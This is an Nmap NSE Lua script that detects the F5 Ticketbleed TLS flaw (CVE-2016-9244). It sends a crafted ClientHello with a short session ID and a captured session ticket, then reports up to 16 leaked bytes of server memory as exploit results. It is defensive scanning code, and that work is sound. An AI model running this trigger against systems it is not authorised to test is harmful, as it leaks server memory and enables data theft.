1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361
|
local bin = require("bin")
local match = require("match")
local nmap = require("nmap")
local packet = require "packet"
local shortport = require("shortport")
local sslcert = require("sslcert")
local stdnse = require("stdnse")
local table = require("table")
local tls = require "tls"
local vulns = require("vulns")
description = [[
Detects whether a server is vulnerable to the F5 Ticketbleed bug (CVE-2016-9244).
For additional information:
* https://filippo.io/Ticketbleed/
* https://blog.filippo.io/finding-ticketbleed/
* https://support.f5.com/csp/article/K05121675
]]
---
-- @usage
-- nmap -p 443 --script tls-ticketbleed <target>
--
-- @output
-- PORT STATE SERVICE
-- 445/tcp open https
-- | tls-ticketbleed:
-- | VULNERABLE:
-- | Ticketbleed is a serious issue in products manufactured by F5, a popular
-- vendor of TLS load-balancers. The issue allows for stealing information from
-- the load balancer
-- | State: VULNERABLE (Exploitable)
-- | Risk factor: High
-- | Ticketbleed is vulnerability in the implementation of the TLS
-- SessionTicket extension found in some F5 products. It allows the leakage
-- ("bleeding") of up to 31 bytes of data from unin itialized memory. This is
-- caused by the TLS stack padding a Session ID, passed from the client, with
-- data to make it 32-bits long.
-- | Exploit results:
-- | 2ab2ea6a4c167fbe8bf0b36c7d9ed6d3
-- | *..jL......l}...
-- | References:
-- | https://filippo.io/Ticketbleed/
-- | https://blog.filippo.io/finding-ticketbleed/
-- |_ https://support.f5.com/csp/article/K05121675
--
-- @args tls-ticketbleed.protocols (default tries all) TLSv1.0, TLSv1.1, or TLSv1.2
author = "Mak Kolybabi <mak@kolybabi.com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
portrule = function(host, port)
if not tls.handshake_parse.NewSessionTicket then
stdnse.verbose1("Not running: incompatible tls.lua. Get the latest from https://nmap.org/nsedoc/lib/tls.html")
return false
end
-- Ensure we have the privileges necessary to run the PCAP operations this
-- script depends upon.
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.verbose1("Not running due to lack of privileges.")
end
nmap.registry[SCRIPT_NAME].rootfail = true
return false
end
return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
end
local function is_vuln(host, port, version)
-- Checking a host requires a valid TLS Session Ticket. The Nmap API
-- does not expose that information to us, but it is sent
-- unencrypted near the end of the TLS handshake.
--
-- First we must create a socket that is ready to start a TLS
-- connection, so that we may find the local port from which it is
-- sending, and can use that information to filter the PCAP.
--
-- We should have a way to specify version here, but we don't.
local socket
local starttls = sslcert.getPrepareTLSWithoutReconnect(port)
if starttls then
local status
status, socket = starttls(host, port)
if not status then
stdnse.debug3("StartTLS connection to server failed: %s", socket)
return
end
else
socket = nmap.new_socket()
local status, err = socket:connect(host, port, "tcp")
if not status then
stdnse.debug3("Connection to server failed: %s", err)
return
end
end
socket:set_timeout(5000)
-- Find out the port we'll be using in our TLS negotiation.
local status, _, lport = socket:get_info()
if( not(status) ) then
stdnse.debug3("Failed to retrieve local port used by socket.")
return
end
-- We are only interested in capturing the TLS responses from the
-- server, not our traffic. We need to set the snaplen to be fairly
-- large to accommodate packets with many or large certificates.
local filter = ("src host %s and tcp and src port %d and dst port %d"):format(host.ip, port.number, lport)
local pcap = nmap.new_socket()
pcap:set_timeout(5)
pcap:pcap_open(host.interface, 4096, false, filter)
-- Initiate the TLS negotiation on the already-connected socket, and
-- then immediately close the socket.
local status, err = socket:reconnect_ssl()
if not status then
stdnse.debug1("Can't connect with TLS: %s", err)
return
end
socket:close()
-- Repeatedly read previously-captured packets and add them to a
-- buffer.
local buf = {}
while true do
local status, _, _, layer3, _ = pcap:pcap_receive()
if not status then
break
end
-- Parse captured packet and extract data.
local pkt = packet.Packet:new(layer3, #layer3)
if not pkt then
stdnse.debug3("Failed to create packet from captured data.")
return
end
if not pkt:tcp_parse() then
stdnse.debug3("Failed to parse captured packet.")
return
end
local tls_data = pkt:raw(pkt.tcp_data_offset)
table.insert(buf, tls_data)
end
buf = table.concat(buf, "")
pcap:pcap_close()
pcap:close()
-- Attempt to find the NewSessionTicket record in the captured
-- packets.
local pos, ticket
repeat
-- Attempt to parse the buffer.
local record
pos, record = tls.record_read(buf, pos)
if not record then
break
end
if record.type ~= "handshake" then
break
end
-- Search for the NewSessionTicket record, which contains the
-- Session Ticket we need.
for _, body in ipairs(record.body) do
stdnse.debug1("Captured %s record.", body.type)
if body.type == "NewSessionTicket" then
if body.ticket then
ticket = body.ticket
else
-- If someone downloaded this script separately from Nmap,
-- they are likely to be missing the parsing changes to the
-- TLS library. Try parsing the body inline.
if #body.data <= 4 then
stdnse.debug1("NewSessionTicket's body was too short to parse: %d bytes", #body.data)
return
end
_, ticket = (">I4 s2"):unpack(body.data)
end
break
end
end
until ticket or pos > #buf
if not ticket then
stdnse.debug1("Server did not send a NewSessionTicket record.")
return
end
-- Create the ClientHello record that triggers the behaviour in
-- affected systems. The record must include both a Session ID and a
-- TLS Session Ticket extension.
--
-- Setting the Session ID to a 16 bytes allows for the remaining 16
-- bytes of the field to be filled with uninitialized memory when it
-- is echoed back in the ServerHelloDone record. Using 16 bytes
-- reduces the chance of a false positive caused by the server
-- issuing us a new, valid session ID that just happens to match the
-- random one we provided.
local sid_old = stdnse.generate_random_string(16)
local hello = tls.client_hello({
["protocol"] = version,
["session_id"] = sid_old,
-- Claim to support every cipher
-- Doesn't work with IIS, but only F5 products should be affected
["ciphers"] = stdnse.keys(tls.CIPHERS),
["compressors"] = {"NULL"},
["extensions"] = {
-- Claim to support common elliptic curves
["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
["SessionTicket TLS"] = ticket,
},
})
-- Connect the socket so that it is ready to start a TLS session.
if starttls then
local status
status, socket = starttls(host, port)
if not status then
stdnse.debug3("StartTLS connection to server failed: %s", socket)
return
end
else
socket = nmap.new_socket()
local status, err = socket:connect(host, port, "tcp")
if not status then
stdnse.debug3("Connection to server failed: %s", err)
return
end
end
-- Send Client Hello to the target server.
local status, err = socket:send(hello)
if not status then
stdnse.debug1("Couldn't send Client Hello: %s", err)
socket:close()
return
end
-- Read responses from server.
local status, response, err = tls.record_buffer(socket)
socket:close()
if err == "TIMEOUT" then
stdnse.debug1("Timeout exceeded waiting for Server Hello Done.")
return
end
if not status then
stdnse.debug1("Couldn't receive: %s", err)
socket:close()
return
end
-- Attempt to parse the response.
local _, record = tls.record_read(response)
if record == nil then
stdnse.debug1("Unrecognized response from server.")
return
end
if record.protocol ~= version then
stdnse.debug1("Server responded with a different protocol than we requested: %s", record.protocol)
return
end
if record.type ~= "handshake" then
stdnse.debug1("Server failed to respond with a handshake record: %s", record.type)
return
end
-- Search for the ServerHello record, which contains the Session ID
-- we want.
local sid_new
for _, body in ipairs(record.body) do
if body.type == "server_hello" then
sid_new = body.session_id
end
end
if not sid_new then
stdnse.debug1("Failed to receive a Server Hello record.")
return
end
if sid_new == "" then
stdnse.debug1("Server did not respond with a session ID.")
return
end
-- Check whether the Session ID matches what we originally sent,
-- which should be the case for a properly-functioning TLS stacks.
if sid_new == sid_old then
stdnse.debug1("Server properly echoed our short, random session ID.")
return
end
-- If the system is unaffected, it should provide a new session ID
-- unrelated to the one we provided. Check for the new session ID
-- being prefixed by the one we sent, indicating an affected system.
if sid_new:sub(1, #sid_old) ~= sid_old then
stdnse.debug1("Server responded with a new, unrelated session ID.")
stdnse.debug1("Original session ID: %s", stdnse.tohex(sid_old, {separator = ":"}))
stdnse.debug1("Received session ID: %s", stdnse.tohex(sid_new, {separator = ":"}))
return
end
return sid_new
end
action = function(host, port)
local vuln_table = {
title = "Ticketbleed is a serious issue in products manufactured by F5, a popular vendor of TLS load-balancers. The issue allows for stealing information from the load balancer",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
description = [[
Ticketbleed is vulnerability in the implementation of the TLS SessionTicket extension found in some F5 products. It allows the leakage ("bleeding") of up to 31 bytes of data from uninitialized memory. This is caused by the TLS stack padding a Session ID, passed from the client, with data to make it 32-bits long.
]],
references = {
"https://filippo.io/Ticketbleed/",
"https://blog.filippo.io/finding-ticketbleed/",
"https://support.f5.com/csp/article/K05121675"
}
}
-- Accept user-specified protocols.
local vers = stdnse.get_script_args(SCRIPT_NAME .. ".protocols") or {"TLSv1.0", "TLSv1.1", "TLSv1.2"}
if type(vers) == "string" then
vers = {vers}
end
for _, ver in ipairs(vers) do
-- Ensure the protocol version is supported.
if nil == tls.PROTOCOLS[ver] then
return "\n Unsupported protocol version: " .. ver
end
-- Check for the presence of the vulnerability.
local sid = is_vuln(host, port, ver)
if sid then
vuln_table.state = vulns.STATE.EXPLOIT
vuln_table.exploit_results = {
stdnse.tohex(sid:sub(17)),
(sid:sub(17):gsub("[^%g ]", "."))
}
break
end
end
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
end
|